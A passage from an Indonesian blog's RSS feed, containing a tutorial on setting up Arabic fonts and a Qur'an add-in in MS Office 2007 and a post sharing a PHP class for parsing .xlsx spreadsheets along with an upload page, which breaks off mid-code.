		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=1968</guid>
		<description><![CDATA[Artikel ini merupakan panduan untuk melakukan instalasi font Arab, menambahkan Add-ins Al-Qur&#8217;an untuk insert ayat-ayat Al-Qur&#8217;an yang diinginkan pada MS Office 2007. Jika Anda mau, Ayat-ayat Al-Qur&#8217;an yang Anda insert bisa langsung keluar beserta terjemahannya lho. Yuk.. mari ikuti langkah-langkah mudah berikut ini PERSIAPAN Siapkan CD Installer Windows Anda Download kumpulan Font Arab, lalu copy-paste [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Artikel ini merupakan panduan untuk melakukan instalasi font Arab, menambahkan Add-ins Al-Qur&#8217;an untuk insert ayat-ayat Al-Qur&#8217;an yang diinginkan pada MS Office 2007. Jika Anda mau, Ayat-ayat Al-Qur&#8217;an yang Anda insert bisa langsung keluar beserta terjemahannya lho. Yuk.. mari ikuti langkah-langkah mudah berikut ini <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: justify;"><span id="more-1968"></span></p>
<h3 style="text-align: justify;">PERSIAPAN</h3>
<ul>
<li>Siapkan CD Installer Windows Anda</li>
<li>Download kumpulan Font Arab, lalu copy-paste isinya ke: <strong>Folder Windows Anda\Fonts</strong> (Defaultnya di C:\Windows\Fonts)<a href="http://www.spyrozone.org/public/FontArabic.zip"><img class="aligncenter size-full wp-image-1988" style="border: 0pt none;" title="Download" src="http://www.spyrozone.net/hacking/storage/2011/05/download.png" alt="{image: Download}" width="87" height="27" /></a></li>
<li>Download Qur&#8217;an in Word<br />
<a href="http://www.spyrozone.org/public/SetupQuranInWordInd1.3.zip"><img class="aligncenter size-full wp-image-1988" style="border: 0pt none;" title="Download" src="http://www.spyrozone.net/hacking/storage/2011/05/download.png" alt="{image: Download}" width="87" height="27" /></a></li>
</ul>
<h3 style="text-align: justify;">MENGAKTIFKAN PENULISAN BAHASA ARAB</h3>
<ol>
<li>Buka Control Panel Anda, lalu klik 2x pada &#8220;Regional and Language Options&#8221;.
<div id="attachment_1973" class="wp-caption aligncenter" style="width: 375px"><img class="size-full wp-image-1973" title="Regional and Language Options" src="http://www.spyrozone.net/hacking/storage/2011/05/Regional-and-Language-Options.jpg" alt="{image: Regional and Language Options}" width="365" height="222" /><p class="wp-caption-text">Regional and Language Options</p></div>
<p>Klik tab <strong>&#8220;Languages&#8221;</strong>, kemudian beri centang pada opsi <strong>&#8220;Install files for complex script and right-to-left..&#8221;</strong></p>
<div id="attachment_1975" class="wp-caption aligncenter" style="width: 414px"><img class="size-full wp-image-1975" title="Install files for complex script.." src="http://www.spyrozone.net/hacking/storage/2011/05/Install-files-for-complex-script...jpg" alt="{image: Install files for complex script..}" width="404" height="485" /><p class="wp-caption-text">Install files for complex script..</p></div>
<p>Klik <strong>[OK]</strong> pada kotak dialog konfirmasi yang muncul, lalu klik tab <strong>&#8220;Advanced&#8221;</strong>.</li>
<li>Pada tab Advanced, beri centang pada &#8220;<strong>10004 (MAC &#8211; Arabic)&#8221;</strong>.
<div id="attachment_1976" class="wp-caption aligncenter" style="width: 414px"><img class="size-full wp-image-1976" title="10004 MAC - Arabic" src="http://www.spyrozone.net/hacking/storage/2011/05/10004-MAC-Arabic.jpg" alt="{image: 10004 MAC - Arabic}" width="404" height="485" /><p class="wp-caption-text">10004 MAC - Arabic</p></div>
<p>Klik <strong>[OK]</strong> sesudahnya. Anda akan diminta untuk memasukkan CD Installer Windows Anda.</p>
<div id="attachment_1977" class="wp-caption aligncenter" style="width: 439px"><img class="size-full wp-image-1977" title="Masukkan CD installer Windows" src="http://www.spyrozone.net/hacking/storage/2011/05/Masukkan-CD-installer-Windows.jpg" alt="{image: Masukkan CD installer Windows}" width="429" height="228" /><p class="wp-caption-text">Masukkan CD installer Windows</p></div>
<p>Pastikan drive CD-ROM Anda pada <strong>&#8220;Copy files from:&#8221;</strong> sudah benar, lalu klik <strong>[OK]</strong>, lalu tunggu hingga proses copy berhasil.</li>
<li>Jika proses copy sudah selesai, komputer akan meminta Anda untuk restart.
<div id="attachment_1978" class="wp-caption aligncenter" style="width: 436px"><img class="size-full wp-image-1978" title="Restart your computer" src="http://www.spyrozone.net/hacking/storage/2011/05/Restart-your-computer.jpg" alt="{image: Restart your computer}" width="426" height="133" /><p class="wp-caption-text">Restart your computer</p></div>
<p>Klik <strong>[Yes]</strong> untuk merestart komputer Anda. Setelah komputer menyala lagi, bukalah kembali <strong>Regional and Language Options</strong>, klik tab <strong>&#8220;Languages&#8221;</strong> lalu klik <strong>[Details]</strong>.</p>
<div id="attachment_1979" class="wp-caption aligncenter" style="width: 415px"><img class="size-full wp-image-1979" title="Memanggil jendela text Services and Input Languages" src="http://www.spyrozone.net/hacking/storage/2011/05/Memanggil-jendela-text-Services-and-Input-Languages.jpg" alt="{image: Memanggil jendela text Services and Input Languages}" width="405" height="546" /><p class="wp-caption-text">Memanggil jendela text Services and Input Languages</p></div>
<p>Jendela Text Services and Input Languages akan tampil. Anda bisa juga memanggilnya dengan klik icon segitiga putih pada <strong>Language Bar </strong>lalu pilih <strong>Settings</strong>. Berikut adalah tampilan Text Services and Input Languages:</p>
<p><div id="attachment_1980" class="wp-caption aligncenter" style="width: 414px"><img class="size-full wp-image-1980" title="Text Services and Input Languages" src="http://www.spyrozone.net/hacking/storage/2011/05/Text-Services-and-Input-Languages.jpg" alt="{image: Text Services and Input Languages}" width="404" height="485" /><p class="wp-caption-text">Text Services and Input Languages</p></div></li>
<li>Pada jendela Text Services and Input Languages, klik tombol <strong>[Add]</strong> untuk menambahkan bahasa baru.
<div id="attachment_1981" class="wp-caption aligncenter" style="width: 448px"><img class="size-full wp-image-1981" title="Add input language" src="http://www.spyrozone.net/hacking/storage/2011/05/Add-input-language.jpg" alt="{image: Add input language}" width="438" height="542" /><p class="wp-caption-text">Add input language</p></div>
<p>Pilih &#8220;<strong>Arabic (Saudi Arabia)&#8221;</strong> lalu klik<strong> [OK]</strong>.</li>
<li>Buka Microsoft Office Word, lalu klik pilihan bahasa pada language Bar di taskbar Anda. Pilih <strong>Arabic (Saudio Arabia)</strong>.
<div id="attachment_1982" class="wp-caption aligncenter" style="width: 270px"><img class="size-full wp-image-1982" title="Pilih Bahasa Arab" src="http://www.spyrozone.net/hacking/storage/2011/05/Pilih-bahasa-Arab.jpg" alt="{image: Pilih Bahasa Arab}" width="260" height="103" /><p class="wp-caption-text">Pilih Bahasa Arab</p></div>
<p>Kembali pada Microsoft Office Word, klik <strong>Right-To-Left text direction</strong> untuk mengetik arab dari arah kanan.</p>
<p><div id="attachment_1983" class="wp-caption aligncenter" style="width: 210px"><img class="size-full wp-image-1983" title="text direction" src="http://www.spyrozone.net/hacking/storage/2011/05/text-direction.jpg" alt="{image: text direction}" width="200" height="65" /><p class="wp-caption-text">text direction</p></div></li>
</ol>
<h3>MENGGUNAKAN QUR&#8217;AN IN WORD</h3>
<ol>
<li>Install Qur&#8217;an in Word yang sudah Anda download. Apabila instalasi sudah selesai, bukalah Microsoft Office Word Anda. Klik tab <strong>Add-Ins</strong>, lalu klik <strong>Al-Qur&#8217;an</strong>.
<div id="attachment_1984" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1984" title="Quran in Word" src="http://www.spyrozone.net/hacking/storage/2011/05/Quran-in-Word.jpg" alt="{image: Quran in Word}" width="500" height="165" /><p class="wp-caption-text">Quran in Word</p></div>
<p>Nah ada beberapa pilihan menu yang bisa Anda pilih sesuai kebutuhan:</p>
<ul>
<li><strong>Get Arabic+Translation: </strong>dipergunakan untuk insert ayat Al-Qur&#8217;an beserta terjemahannya.</li>
<li><strong>Get Arabic:</strong> dipergunakan untuk insert ayat Al-Qur&#8217;an saja, tanpa terjemahan</li>
<li><strong>Get Translation: </strong>dipergunakan untuk insert terjemahan ayat, tanpa ayat Al-Qur&#8217;an dalam bahasa arab.</li>
<li><strong>Automatic Replace:</strong> dipergunakan untuk otomatis mereplace format penulisan nomor surat dan ayat.</li>
</ul>
</li>
<li>Emmmm&#8230; yuk kita coba langsung <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Saya memilih menu <strong>Get Arabic+Translation</strong>.
<div id="attachment_1985" class="wp-caption aligncenter" style="width: 258px"><img class="size-full wp-image-1985" title="Pilih Surat dan Ayat" src="http://www.spyrozone.net/hacking/storage/2011/05/Pilih-Surat-dan-Ayat.jpg" alt="{image: Pilih Surat dan Ayat}" width="248" height="286" /><p class="wp-caption-text">Pilih Surat dan Ayat</p></div>
<p>Pada contoh diatas, saya memilih Surat Al Fatihah ayat 1 sampai 2 dengan ukuran font 14. Ayat tersebut akan diinsert beserta terjemahan dalam Bahasa Indonesia. Berikut adalah hasil yang muncul:</p>
<div id="attachment_1986" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1986" title="Al Fatihah ayat 1-2 dengan penjelasan arti terjemahan" src="http://www.spyrozone.net/hacking/storage/2011/05/Al-Fatihah-ayat-1-2-dengan-penjelasan-arti-terjemahan.jpg" alt="{image: Al Fatihah ayat 1-2 dengan penjelasan arti terjemahan}" width="500" height="258" /><p class="wp-caption-text">Al Fatihah ayat 1-2 dengan penjelasan arti terjemahan</p></div>
<p>Tidak sekedar terjemahan, penjelasan tentang makna ayat tersebut muncul di bawah hasil terjemahan <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
</ol>
<h3 style="text-align: justify;">PENUTUP</h3>
<p style="text-align: justify;">Met mencoba yach&#8230; see u&#8230; <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/05/instalasi-font-arab-al-quran-dan-terjemahannya-pada-ms-office-2007.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP: Parse and Retrieve Data from XLSX Files</title>
		<link>http://www.spyrozone.net/hacking/2011/05/php-parse-and-retrieve-data-from-xlsx-files.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/05/php-parse-and-retrieve-data-from-xlsx-files.jsp#comments</comments>
		<pubDate>Mon, 09 May 2011 05:49:56 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Parse]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP Class]]></category>
		<category><![CDATA[xlsx]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=1934</guid>
		<description><![CDATA[Sebelumnya, rekan-rekan saya sudah sangat terbiasa untuk parsing data dari file MS Excel 2003 (.xls) dengan PHP. Seiring semakin banyaknya pengguna MS Office 2007, kini permintaan client juga ikut-ikutan meningkat Mereka jadi malas untuk menyimpan dalam format Office 2003, dan meminta rekan-rekan saya untuk upgrade sistem informasi yang kami bangun agar bisa membaca file *.xlsx [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Sebelumnya, rekan-rekan saya sudah sangat terbiasa untuk parsing data dari file MS Excel 2003 (.xls) dengan PHP. Seiring semakin banyaknya pengguna MS Office 2007, kini permintaan client juga ikut-ikutan meningkat <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  Mereka jadi malas untuk menyimpan dalam format Office 2003, dan meminta rekan-rekan saya untuk upgrade sistem informasi yang kami bangun agar bisa membaca file *.xlsx ^^&#8221;</p>
<p style="text-align: justify;"><span id="more-1934"></span>Untungnya ada orang baik hati bernama Sergey Shuchkin dari Rusia membuat sebuah class &#8220;simplexlsx.class.php&#8221; untuk membantu parsing data dari MS Excel 2007 (.xlsx). Fungsi yang dimiliki memang tidak terlalu lengkap, namun sudah sangat membantu. Saya telah menambahkan fungsi sederhana untuk mengambil nama Worksheet dimana fungsi tersebut tidak dimiliki versi aslinya.</p>
<p style="text-align: justify;">Berikut adalah contoh hasil parsing file *.xlsx dengan class tersebut <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: justify;">File Excel yang ingin dibaca:</p>
<p style="text-align: justify;">&nbsp;</p>
<div id="attachment_1936" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1936" title="XLSX File" src="http://www.spyrozone.net/hacking/storage/2011/05/XLSX-File.jpg" alt="{image: XLSX File}" width="500" height="163" /><p class="wp-caption-text">XLSX File</p></div>
<p style="text-align: justify;">Hasil parsing dalam format tabel:</p>
<p style="text-align: justify;">&nbsp;</p>
<div id="attachment_1937" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1937" title="Hasil parsing file XLSX dalam tabel" src="http://www.spyrozone.net/hacking/storage/2011/05/Hasil-parsing-file-XLSX-dalam-tabel.jpg" alt="{image: Hasil parsing file XLSX dalam tabel}" width="500" height="376" /><p class="wp-caption-text">Hasil parsing file XLSX dalam tabel</p></div>
<p style="text-align: justify;">Hasil parsing dalam array:</p>
<p style="text-align: justify;">&nbsp;</p>
<div id="attachment_1938" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-1938" title="Hasil parsing file XLSX dalam array" src="http://www.spyrozone.net/hacking/storage/2011/05/Hasil-parsing-file-XLSX-dalam-array.jpg" alt="{image: Hasil parsing file XLSX dalam array}" width="500" height="375" /><p class="wp-caption-text">Hasil parsing file XLSX dalam array</p></div>
<h3>Source Code</h3>
<p><span style="text-decoration: underline;"><strong>simplexlsx.class.php</strong></span></p>
<pre class="brush:php">&lt;?php
// SimpleXLSX php class v0.4
// MS Excel 2007 workbooks reader
// Example:
//   $xlsx = new SimpleXLSX('book.xlsx');
//   print_r( $xlsx-&gt;rows() );
// Example 2:
//   $xlsx = new SimpleXLSX('book.xlsx');
//   print_r( $xlsx-&gt;rowsEx() );
// Example 3:
//   $xlsx = new SimpleXLSX('book.xlsx');
//   print_r( $xlsx-&gt;rows(2) ); // second worksheet
//
// 0.4 sheets(), sheetsCount(), unixstamp( $excelDateTime ), getWorksheetName() by SPYRO KiD - http://www.spyrozone.net
// 0.3 - fixed empty cells (Gonzo patch)

class SimpleXLSX {
 // Don't remove this string! Created by Sergey Schuchkin from http://www.sibvison.ru - professional php developers team 2010-2011
 private $sheets;
 private $hyperlinks;
 private $package;
 private $sharedstrings;
 // scheme
 const SCHEMA_OFFICEDOCUMENT  =  'http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument';
 const SCHEMA_RELATIONSHIP  =  'http://schemas.openxmlformats.org/package/2006/relationships';
 const SCHEMA_SHAREDSTRINGS =  'http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings';
 const SCHEMA_WORKSHEETRELATION =  'http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet';

 function __construct( $filename ) {
 $this-&gt;_unzip( $filename );
 $this-&gt;_parse();
 }
 function sheets() {
 return $this-&gt;sheets;
 }
 function sheetsCount() {
 return count($this-&gt;sheets);
 }
 function worksheet( $worksheet_id ) {
 if ( isset( $this-&gt;sheets[ $worksheet_id ] ) ) {
 $ws = $this-&gt;sheets[ $worksheet_id ];

 if (isset($ws-&gt;hyperlinks)) {
 $this-&gt;hyperlinks = array();
 foreach( $ws-&gt;hyperlinks-&gt;hyperlink as $hyperlink ) {
 $this-&gt;hyperlinks[ (string) $hyperlink['ref'] ] = (string) $hyperlink['display'];
 }
 }

 return $ws;
 } else
 throw new Exception('Worksheet '.$worksheet_id.' not found.');
 }
 function dimension( $worksheet_id = 1 ) {
 $ws = $this-&gt;worksheet($worksheet_id);
 $ref = (string) $ws-&gt;dimension['ref'];
 $d = explode(':', $ref);
 $index = $this-&gt;_columnIndex( $d[1] );       
 return array( $index[0]+1, $index[1]+1);
 }
 // sheets numeration: 1,2,3....
 function rows( $worksheet_id = 1 ) {

 $ws = $this-&gt;worksheet( $worksheet_id);

 $rows = array();
 $curR = 0;

 foreach ($ws-&gt;sheetData-&gt;row as $row) {

 foreach ($row-&gt;c as $c) {
 list($curC,) = $this-&gt;_columnIndex((string) $c['r']);
 $rows[ $curR ][ $curC ] = $this-&gt;value($c);
 }

 $curR++;
 }
 return $rows;
 }
 function rowsEx( $worksheet_id = 1 ) {
 $rows = array();
 $curR = 0;
 if (($ws = $this-&gt;worksheet( $worksheet_id)) === false)
 return false;
 foreach ($ws-&gt;sheetData-&gt;row as $row) {

 foreach ($row-&gt;c as $c) {
 list($curC,) = $this-&gt;_columnIndex((string) $c['r']);
 $rows[ $curR ][ $curC ] = array(
 'name' =&gt; (string) $c['r'],
 'value' =&gt; $this-&gt;value($c),
 'href' =&gt; $this-&gt;href( $c ),
 );
 }
 $curR++;
 }
 return $rows;

 }
 // thx Gonzo
 function _columnIndex( $cell = 'A1' ) {

 if (preg_match("/([A-Z]+)(\d+)/", $cell, $matches)) {

 $col = $matches[1];
 $row = $matches[2];

 $colLen = strlen($col);
 $index = 0;

 for ($i = $colLen-1; $i &gt;= 0; $i--)
 $index += (ord($col{$i}) - 64) * pow(26, $colLen-$i-1);

 return array($index-1, $row-1);
 } else
 throw new Exception("Invalid cell index.");
 }
 function value( $cell ) {
 // Determine data type
 $dataType = (string)$cell["t"];
 switch ($dataType) {
 case "s":
 // Value is a shared string
 if ((string)$cell-&gt;v != '') {
 $value = $this-&gt;sharedstrings[intval($cell-&gt;v)];
 } else {
 $value = '';
 }

 break;

 case "b":
 // Value is boolean
 $value = (string)$cell-&gt;v;
 if ($value == '0') {
 $value = false;
 } else if ($value == '1') {
 $value = true;
 } else {
 $value = (bool)$cell-&gt;v;
 }

 break;

 case "inlineStr":
 // Value is rich text inline
 $value = $this-&gt;_parseRichText($cell-&gt;is);

 break;

 case "e":
 // Value is an error message
 if ((string)$cell-&gt;v != '') {
 $value = (string)$cell-&gt;v;
 } else {
 $value = '';
 }

 break;

 default:
 // Value is a string
 $value = (string)$cell-&gt;v;

 // Check for numeric values
 if (is_numeric($value) &amp;&amp; $dataType != 's') {
 if ($value == (int)$value) $value = (int)$value;
 elseif ($value == (float)$value) $value = (float)$value;
 elseif ($value == (double)$value) $value = (double)$value;
 }
 }
 return $value;
 }
 function href( $cell ) {
 return isset( $this-&gt;hyperlinks[ (string) $cell['r'] ] ) ? $this-&gt;hyperlinks[ (string) $cell['r'] ] : '';
 }
 function _unzip( $filename ) {
 // Clear current file
 $this-&gt;datasec = array();

 // Package information
 $this-&gt;package = array(
 'filename' =&gt; $filename,
 'mtime' =&gt; filemtime( $filename ),
 'size' =&gt; filesize( $filename ),
 'comment' =&gt; '',
 'entries' =&gt; array()
 );
 // Read file
 $oF = fopen($filename, 'rb');
 $vZ = fread($oF, $this-&gt;package['size']);
 fclose($oF);
 // Cut end of central directory
 $aE = explode("\x50\x4b\x05\x06", $vZ);

 // Normal way
 $aP = unpack('x16/v1CL', $aE[1]);
 $this-&gt;package['comment'] = substr($aE[1], 18, $aP['CL']);

 // Translates end of line from other operating systems
 $this-&gt;package['comment'] = strtr($this-&gt;package['comment'], array("\r\n" =&gt; "\n", "\r" =&gt; "\n"));

 // Cut the entries from the central directory
 $aE = explode("\x50\x4b\x01\x02", $vZ);
 // Explode to each part
 $aE = explode("\x50\x4b\x03\x04", $aE[0]);
 // Shift out spanning signature or empty entry
 array_shift($aE);

 // Loop through the entries
 foreach ($aE as $vZ) {
 $aI = array();
 $aI['E']  = 0;
 $aI['EM'] = '';
 // Retrieving local file header information
//            $aP = unpack('v1VN/v1GPF/v1CM/v1FT/v1FD/V1CRC/V1CS/V1UCS/v1FNL', $vZ);
 $aP = unpack('v1VN/v1GPF/v1CM/v1FT/v1FD/V1CRC/V1CS/V1UCS/v1FNL/v1EFL', $vZ);
 // Check if data is encrypted
//            $bE = ($aP['GPF'] &amp;&amp; 0x0001) ? TRUE : FALSE;
 $bE = false;
 $nF = $aP['FNL'];
 $mF = $aP['EFL'];

 // Special case : value block after the compressed data
 if ($aP['GPF'] &amp; 0x0008) {
 $aP1 = unpack('V1CRC/V1CS/V1UCS', substr($vZ, -12));

 $aP['CRC'] = $aP1['CRC'];
 $aP['CS']  = $aP1['CS'];
 $aP['UCS'] = $aP1['UCS'];

 $vZ = substr($vZ, 0, -12);
 }

 // Getting stored filename
 $aI['N'] = substr($vZ, 26, $nF);
 if (substr($aI['N'], -1) == '/') {
 // is a directory entry - will be skipped
 continue;
 }

 // Truncate full filename in path and filename
 $aI['P'] = dirname($aI['N']);
 $aI['P'] = $aI['P'] == '.' ? '' : $aI['P'];
 $aI['N'] = basename($aI['N']);

 $vZ = substr($vZ, 26 + $nF + $mF);

 if (strlen($vZ) != $aP['CS']) {
 $aI['E']  = 1;
 $aI['EM'] = 'Compressed size is not equal with the value in header information.';
 } else {
 if ($bE) {
 $aI['E']  = 5;
 $aI['EM'] = 'File is encrypted, which is not supported from this class.';
 } else {
 switch($aP['CM']) {
 case 0: // Stored
 // Here is nothing to do, the file ist flat.
 break;
 case 8: // Deflated
 $vZ = gzinflate($vZ);
 break;
 case 12: // BZIP2
 if (! extension_loaded('bz2')) {
 if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
 @dl('php_bz2.dll');
 } else {
 @dl('bz2.so');
 }
 }
 if (extension_loaded('bz2')) {
 $vZ = bzdecompress($vZ);
 } else {
 $aI['E']  = 7;
 $aI['EM'] = "PHP BZIP2 extension not available.";
 }
 break;
 default:
 $aI['E']  = 6;
 $aI['EM'] = "De-/Compression method {$aP['CM']} is not supported.";
 }
 if (! $aI['E']) {
 if ($vZ === FALSE) {
 $aI['E']  = 2;
 $aI['EM'] = 'Decompression of data failed.';
 } else {
 if (strlen($vZ) != $aP['UCS']) {
 $aI['E']  = 3;
 $aI['EM'] = 'Uncompressed size is not equal with the value in header information.';
 } else {
 if (crc32($vZ) != $aP['CRC']) {
 $aI['E']  = 4;
 $aI['EM'] = 'CRC32 checksum is not equal with the value in header information.';
 }
 }
 }
 }
 }
 }

 $aI['D'] = $vZ;

 // DOS to UNIX timestamp
 $aI['T'] = mktime(($aP['FT']  &amp; 0xf800) &gt;&gt; 11,
 ($aP['FT']  &amp; 0x07e0) &gt;&gt;  5,
 ($aP['FT']  &amp; 0x001f) &lt;&lt;  1,
 ($aP['FD']  &amp; 0x01e0) &gt;&gt;  5,
 ($aP['FD']  &amp; 0x001f),
 (($aP['FD'] &amp; 0xfe00) &gt;&gt;  9) + 1980);

 //$this-&gt;Entries[] = &amp;new SimpleUnzipEntry($aI);
 $this-&gt;package['entries'][] = array(
 'data' =&gt; $aI['D'],
 'error' =&gt; $aI['E'],
 'error_msg' =&gt; $aI['EM'],
 'name' =&gt; $aI['N'],
 'path' =&gt; $aI['P'],
 'time' =&gt; $aI['T']
 );

 } // end for each entries
 }
 function getPackage() {
 return $this-&gt;package;
 }
 function getEntryData( $name ) {
 $dir = dirname( $name );
 $name = basename( $name );
 foreach( $this-&gt;package['entries'] as $entry)
 if ( $entry['path'] == $dir &amp;&amp; $entry['name'] == $name)
 return $entry['data'];
 }
 function unixstamp( $excelDateTime ) {
 $d = floor( $excelDateTime ); // seconds since 1900
 $t = $excelDateTime - $d;
 return ($d &gt; 0) ? ( $d - 25569 ) * 86400 + $t * 86400 : $t * 86400;
 }
 function _parse() {
 // Document data holders
 $this-&gt;sharedstrings = array();
 $this-&gt;sheets = array();

 // Read relations and search for officeDocument

 $relations = simplexml_load_string( $this-&gt;getEntryData("_rels/.rels") );
 foreach ($relations-&gt;Relationship as $rel) {
 if ($rel["Type"] == SimpleXLSX::SCHEMA_OFFICEDOCUMENT) {
 // Found office document! Read relations for workbook...
 $workbookRelations = simplexml_load_string($this-&gt;getEntryData( dirname($rel["Target"]) . "/_rels/" . basename($rel["Target"]) . ".rels") );
 $workbookRelations-&gt;registerXPathNamespace("rel", SimpleXLSX::SCHEMA_RELATIONSHIP);

 // Read shared strings
 $sharedStringsPath = $workbookRelations-&gt;xpath("rel:Relationship[@Type='" . SimpleXLSX::SCHEMA_SHAREDSTRINGS . "']");
 $sharedStringsPath = (string)$sharedStringsPath[0]['Target'];             
 $xmlStrings = simplexml_load_string($this-&gt;getEntryData( dirname($rel["Target"]) . "/" . $sharedStringsPath) );  
 if (isset($xmlStrings) &amp;&amp; isset($xmlStrings-&gt;si)) {
 foreach ($xmlStrings-&gt;si as $val) {
 if (isset($val-&gt;t)) {
 $this-&gt;sharedstrings[] = (string)$val-&gt;t;
 } elseif (isset($val-&gt;r)) {
 $this-&gt;sharedstrings[] = $this-&gt;_parseRichText($val);
 }
 }
 }

 // Loop relations for workbook and extract sheets...
 foreach ($workbookRelations-&gt;Relationship as $workbookRelation) {
 if ($workbookRelation["Type"] == SimpleXLSX::SCHEMA_WORKSHEETRELATION) {
 $this-&gt;sheets[ str_replace( 'rId', '', (string) $workbookRelation["Id"]) ] =
 simplexml_load_string( $this-&gt;getEntryData( dirname($rel["Target"]) . "/" . dirname($workbookRelation["Target"]) . "/" . basename($workbookRelation["Target"])) );
 }
 }

 break;
 }
 }

 // Sort sheets
 ksort($this-&gt;sheets);
 }
 private function _parseRichText($is = null) {
 $value = array();

 if (isset($is-&gt;t)) {
 $value[] = (string)$is-&gt;t;
 } else {
 foreach ($is-&gt;r as $run) {
 $value[] = (string)$run-&gt;t;
 }
 }

 return implode(' ', $value);
 }
 function getWorksheetName($dimId = 0){
 $worksheetName = array();
 $xmlWorkBook = simplexml_load_string( $this-&gt;getEntryData("xl/workbook.xml") );
 if($dimId==0){
 foreach ($xmlWorkBook-&gt;sheets-&gt;sheet as $sheetName) {
 $worksheetName[] = $sheetName['name'];
 }
 }else{
 $worksheetName[] = $xmlWorkBook-&gt;sheets-&gt;sheet[$dimId-1]-&gt;attributes()-&gt;name;
 }
 return $worksheetName;
 }
}
?&gt;</pre>
<p><span style="text-decoration: underline;"><strong>index.php</strong></span></p>
<pre class="brush:php">&lt;html&gt;
&lt;head&gt;&lt;title&gt;PHP: Parse and Retrieve Data from XLSX Files | SPYROZONE.NET&lt;/title&gt;
&lt;style&gt;
&lt;!---
a{text-decoration:none;color:#0000FF;}
a:hover{text-decoration:underline;color:#0000FF;}
a:visited{text-decoration:none;color:#0000FF;}
a:active{text-decoration:none;position: relative;top: 1px;}
h1{font-family: "Arial","Verdana","Lucida Sans Unicode"; font-size: 16pt; line-height:150%; margin-top:20; margin-bottom:0 ;text-align:center;}
h2{font-family: "Arial","Verdana","Lucida Sans Unicode"; font-size: 12pt; font-weight: bold; text-decoration: underline; line-height:150%; margin-top:40; margin-bottom:10 }
h3{font-family: "Arial","Verdana","Lucida Sans Unicode"; font-size: 11pt; line-height:150%; margin-top:20; margin-bottom:0}
ul{font-family: "Arial","Verdana","Lucida Sans Unicode"; font-size: 11pt;word-spacing: 0; line-height: 150%; margin-top: 0; margin-bottom: 0}
p{font-family: "Arial","Verdana","Lucida Sans Unicode"; font-size: 11pt }
#datacontent{margin-left:20pt}
#footer{ font-family: "Arial","Verdana","Lucida Sans Unicode"; font-size: 10pt; line-height:150%; margin-top:40; margin-bottom:0;text-align:center}
#xlsxTable{font-family: "Arial","Verdana","Lucida Sans Unicode";font-size: 11pt;margin: 15px;text-align: left;border-collapse: collapse;}
#xlsxTable th{padding: 8px;font-weight: normal;font-size: 13px;color: #039;background: #b9c9fe;}
#xlsxTable td{padding: 8px;background: #e8edff;border-top: 1px solid #fff;color: #669;}
#xlsxTable tbody tr:hover td{background: #d0dafd;}
//---&gt;
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;PHP: Parse and Retrieve Data from XLSX Files&lt;/h1&gt;
&lt;div id="datacontent"&gt;
&lt;h2&gt;Upload *.xlsx File:&lt;/h1&gt;
&lt;form method="post" enctype="multipart/form-data"&gt;
&lt;p&gt;File: &lt;input type="file" name="file"  /&gt;&lt;input type="submit" value="Parse" /&gt;&lt;/p&gt;
&lt;/form&gt;
&lt;h2&gt;Example XLSX File:&lt;/h1&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="example-data.xlsx"&gt;example-data.xlsx&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;h2&gt;Download the source:&lt;/h1&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="Parse-and-Retrieve-Data-from-XLSX-Files.zip"&gt;Parse-and-Retrieve-Data-from-XLSX-Files.zip&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;
&lt;h2&gt;About:&lt;/h1&gt;
&lt;p&gt;Parse and Retrieve Data from XLSX Files based on "simplexlsx.class.php" by Sergey Shuchkin under &lt;a rel="nofollow" href="http://www.opensource.org/licenses/artistic-license.html"&gt;Artistic License&lt;/a&gt;. I've added function getWorksheetName() to get worksheet name.&lt;/p&gt;
&lt;/div&gt;
&lt;?php
if((!empty($_FILES["file"])) &amp;&amp; ($_FILES['file']['error'] == 0)) {

 $limitSize    = 15000; //(15 kb) - Maximum size of uploaded file, change it to any size you want
 $fileName    = basename($_FILES['file']['name']);
 $fileSize    = $_FILES["file"]["size"];
 $fileExt    = substr($fileName, strrpos($fileName, '.') + 1);

 if (($fileExt == "xlsx") &amp;&amp; ($fileSize &lt; $limitSize)) {

 require_once "simplexlsx.class.php";
 $getWorksheetName = array();
 $xlsx = new SimpleXLSX( $_FILES['file']['tmp_name'] );
 $getWorksheetName = $xlsx-&gt;getWorksheetName();
 echo '    &lt;hr&gt;
 &lt;div id="datacontent"&gt;
 &lt;h1&gt;Result&lt;/h1&gt;
 ';
 echo '&lt;h2&gt;File Info:&lt;/h1&gt;&lt;ul&gt;';
